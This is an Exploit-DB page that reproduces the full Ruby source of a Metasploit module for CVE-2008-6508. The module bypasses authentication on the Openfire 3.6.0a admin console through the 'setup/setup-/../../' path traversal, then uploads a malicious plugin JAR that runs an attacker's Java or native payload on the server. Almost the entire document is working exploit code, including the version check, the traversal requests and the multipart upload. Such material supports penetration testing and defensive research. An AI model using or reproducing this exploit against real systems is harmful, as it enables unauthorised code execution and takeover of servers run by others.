Openfire Server 3.6.0a – Admin Console Authentication Bypass (Metasploit)

  • 作者: Metasploit
    日期: 2012-06-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19432/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'rex/zip'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'=> 'Openfire Admin Console Authentication Bypass',
    			'Description' => %q{
    					This module exploits an authentication bypass vulnerability in the administration
    				console of Openfire servers. By using this vulnerability it is possible to
    				upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
    				code. This module has been tested against Openfire 3.6.0a.
    
    				It is possible to remove the uploaded plugin after execution, however this might turn
    				the server in some kind of unstable state, making re-exploitation difficult. You might
    				want to do this manually.
    			},
    			'Author'=>
    				[
    					'Andreas Kurtz', # Vulnerability discovery
    					'h0ng10' # Metasploit module
    				],
    			'License' => MSF_LICENSE,
    			'References'=>
    				[
    					[ 'CVE', '2008-6508' ],
    					[ 'OSVDB', '49663' ],
    					[ 'BID', '32189' ],
    					[ 'EDB', '7075' ],
    					[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
    				],
    			'DisclosureDate' => 'Nov 10 2008',
    			'Privileged'=> true,
    			'Platform'=> ['java', 'win', 'linux' ],
    			'Stance'=> Msf::Exploit::Stance::Aggressive,
    			'Targets' =>
    				[
    					#
    					# Java version
    					#
    					[ 'Java Universal',
    						{
    								'Arch' => ARCH_JAVA,
    								'Platform' => 'java'
    						}
    					],
    					#
    					# Platform specific targets
    					#
    					[ 'Windows x86 (Native Payload)',
    						{
    							'Platform' => 'win',
    							'Arch' => ARCH_X86,
    						}
    					],
    					[ 'Linux x86 (Native Payload)',
    						{
    							'Platform' => 'linux',
    							'Arch' => ARCH_X86,
    						}
    					]
    				],
    			'DefaultTarget' => 0,
    
    		))
    
    		register_options(
    			[
    				Opt::RPORT(9090),
    				OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
    				OptString.new('PLUGINNAME',[ false, 'Openfire plugin base name, (default: random)' ]),
    				OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
    				OptString.new('PLUGINDESC',[ false, 'Openfire plugin description, (default: random)' ]),
    				OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
    			], self.class)
    	end
    
    	def check
    		base = target_uri.path
    		base << '/' if base[-1, 1] != '/'
    
    		path = "#{base}login.jsp"
    		res = send_request_cgi(
    			{
    				'uri'=> path
    			})
    
    		if (not res) or (res.code != 200)
    			print_error("Unable to make a request to: #{path}")
    			return Exploit::CheckCode::Unknown
    		end
    
    		versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
    
    		if versioncheck.nil? then
    			print_error("Unable to detect Openfire version")
    			return Exploit::CheckCode::Unknown
    		end
    
    		print_status("Detected version: #{$1}.#{$2}.#{$3}")
    		version = "#{$1}#{$2}#{$3}".to_i
    
    		return Exploit::CheckCode::Safe if version > 360
    
    		# Just to be sure, try to access the log page
    		path = "#{base}setup/setup-/../../log.jsp"
    		res = send_request_cgi(
    			{
    				'uri'=> path
    			})
    
    		if (not res) or (res.code != 200)
    			print_error("Failed: Error requesting #{path}")
    			return Exploit::CheckCode::Unknown
    		end
    
    		Exploit::CheckCode::Vulnerable
    	end
    
    	def get_plugin_jar(plugin_name)
    		files = [
    			[ "logo_large.gif" ],
    			[ "logo_small.gif" ],
    			[ "readme.html" ],
    			[ "changelog.html" ],
    			[ "lib", "plugin-metasploit.jar" ]
    		]
    
    		jar = Rex::Zip::Jar.new
    		jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
    
    		plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
    		plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
    
    		plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
    		plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
    		plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
    		plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
    
    		jar.add_file("plugin.xml", plugin_xml)
    
    		jar
    	end
    
    	def exploit
    		base = target_uri.path
    		base << '/' if base[-1, 1] != '/'
    
    		plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
    		plugin = get_plugin_jar(plugin_name)
    
    		arch = target.arch
    		plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
    
    		if (p = exploit_regenerate_payload(plat, arch)) == nil
    			print_error("Failed to regenerate payload")
    			return
    		end
    
    		plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
    		plugin.build_manifest
    
    		# Upload the plugin to the server
    		print_status("Uploading plugin #{plugin_name} to the server")
    		boundary = rand_text_alphanumeric(6)
    
    		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
    		data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    		data << plugin.pack
    		data << "\r\n--#{boundary}--"
    
    		res = send_request_cgi({
    			'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin",
    			'method'=> 'POST',
    			'data'=> data,
    			'headers' =>
    				{
    					'Content-Type' => 'multipart/form-data; boundary=' + boundary,
    					'Content-Length' => data.length,
    					'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
    				}
    		})
    
    
    		print_error("Warning: got no response from the upload, continuing...") if !res
    
    		# Delete the uploaded JAR file
    		if datastore['REMOVE_PLUGIN']
    			print_status("Deleting plugin #{plugin_name} from the server")
    			res = send_request_cgi({
    				'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
    				'headers' =>
    					{
    						'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
    					}
    			})
    			if not res
    				print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
    			end
    		end
    	end
    end